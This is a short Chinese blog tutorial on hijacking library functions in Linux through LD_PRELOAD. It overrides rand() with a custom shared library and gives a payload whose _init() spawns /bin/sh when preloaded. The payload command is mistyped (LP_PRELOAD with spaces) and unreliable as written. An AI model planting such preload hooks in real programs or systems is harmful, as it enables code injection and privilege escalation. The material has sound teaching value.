zoukankan      html  css  js  c++  java
  • Linux下利用动态链接劫持库函数并注入代码

    关于环境变量$ LD_PRELOAD

    $LD_PRELOAD是一个环境变量,用于加载动态库,他的优先级是最高的

    /*
        优先级顺序:
        (1)$LD_PRELOAD
        (2)$LD_LIBRARY_PATH
        (3)/etc/ld.so.cache
        (4)/lib
        (5)/usr/lib
    */
    

    一个挑战就是,这玩意可以产生一个shell,就像下面这样:

    $ LP_PRELOAD = ./payload.so /bin/true
    

    劫持库函数

    假设存在一段这样的代码,其编译过程

    #include <stdio.h>
    #include <time.h>
    #include <stdlib.h>
    
    int main(int argc, char const *argv[]){
        srand(time(NULL));
        printf("%d
    ", rand());
    }
    
    gcc random.c -o random
    ./random
    

    好的我们来覆写一下这个函数

    int rand(void){
        return 32;
    }
    
    gcc -shared -fpic shlib.c -o shlib.so
    LD_PRELOAD=./shlib.so ./random
    

    构造Payload

    #include <unistd.h>
    
    void _init(){
        char *argv[] = {"/bin/sh", 0};
        execve(argv[0], &argv[0], NULL);
    }
    

  • 相关阅读:
    CSS复合选择器
    CSS样式规则及字体样式
    jQuery 样式操作
    jQuery 选择器
    jQuery 的基本使用
    jQuery 介绍
    本地存储
    移动端常用开发框架
    移动端常用开发插件
    移动端click 延时解决方案
  • 原文地址:https://www.cnblogs.com/mutudou/p/13607519.html
Copyright © 2011-2022 走看看